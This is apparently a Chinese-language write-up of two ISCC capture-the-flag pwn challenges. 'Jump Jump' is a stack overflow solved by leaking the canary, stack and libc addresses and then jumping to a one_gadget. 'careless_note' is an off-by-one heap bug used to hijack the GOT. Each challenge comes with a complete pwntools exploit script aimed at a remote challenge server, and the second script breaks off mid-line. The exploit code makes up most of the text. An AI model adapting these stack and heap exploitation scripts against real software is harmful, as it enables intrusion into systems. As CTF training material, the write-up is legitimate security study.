第二次参加ISCC了,远比第一次做出的题目更多,因此记录一下做题思路。因为时隔较远一些,过去貌似一个多月了,这边只记录大概的一些思路。
跳一跳
这题比较有意思些,有不少点。首先是保护全开的
查看了下代码,发现应该是栈溢出,但是有携带canary,所以首先是泄露出canary。总共有两个输入点:
输入的地方距离canary只差了0xD8,而循环执行了0xE7次,所以是需要去中断后续的scanf的输入。观察到是%d的参数,那么在遇到字符输入时会停止获取输入,所以只要在覆盖到canary时,输入一个字符即可阻止scanf继续读取输入。
其他就不再多谈了,看exp理解即可。
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./1")
#p = process('./1')
libc = ELF('./libc-2.27.so')
p = remote("123.57.69.203", 7020)
p.recvuntil("Hello CTFer! Welcome to the world of pwn~\n")
#gdb.attach(p, "b *$rebase(0x1217)")
for i in range(217):
p.sendline('1')
p.send('a')
p.recvuntil('Your input is: ')
p.recv(0xd8)
canary = u64(p.recv(8)) - 1
log.info("canary = " + hex(canary))
stack = u64(p.recv(6).ljust(8, '\x00')) + 8
log.info("stack==>0x%x" %stack)
payload = 'a'*0xd8 + p64(canary) + 'deadbeef' + '\x98'
p.send(payload)
p.recvuntil("Hello CTFer! Welcome to the world of pwn~\n")
for i in range(88):
p.sendline('1')
p.send('a')
p.recvuntil('Your input is: ')
p.recv(88)
libc_base = u64(p.recv(6).ljust(8, '\x00')) - libc.sym['_IO_2_1_stderr_']
log.info("libc_base==>0x%x" %libc_base)
ogg = libc_base + 0x4f2c5
payload = 'a'*0xd8 + p64(canary) + 'deadbeef' + p64(ogg)
p.send(payload)
p.interactive()
careless_note
堆题,在输入函数内,存在一个offbyone漏洞
选择去劫持got表来getshell,同时泄露地址也通过got表实现的。
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF("./careless_note")
libc = ELF("./libc-2.23.so")
p = remote("123.57.69.203", 8010)
def debug():
gdb.attach(p, "b main")
#gdb.attach(p, "b *$rebase(0x)")
def add(size, content):
p.sendlineafter("Your choice :", '1')
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.send(content)
def edit(idx, content):
p.sendlineafter("Your choice :", '2')
p.recvuntil("Index :")
p.sendline(str(idx))
p.sendlineafter("Your choose:", '1')
p.recvuntil("Content of heap : ")
p.send(content)
def show(idx):
p.sendlineafter("Your choice :", '3')
p.recvuntil(" ")
p.sendline(str(idx))
def free(idx):
p.sendlineafter("Your choice :", '2')
p.recvuntil("Index :")
p.sendline(str(idx))
p.sendlineafter("Your choose:", '0')
free_got = elf.got["free"]
add(0x18,'a')
add(0x10,'b')
add(0x10,'c')
add(0x10,"/bin/sh\x00")
edit(0,'a'*0x18+'\x81')
free(1)
add(0x70,'a'*0x40 + p64(0x8) + p64(free_got))
show(2)
p.recvuntil("Content : ")
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['free']
log.success(hex(libc_base))
sys=libc.sym["system"<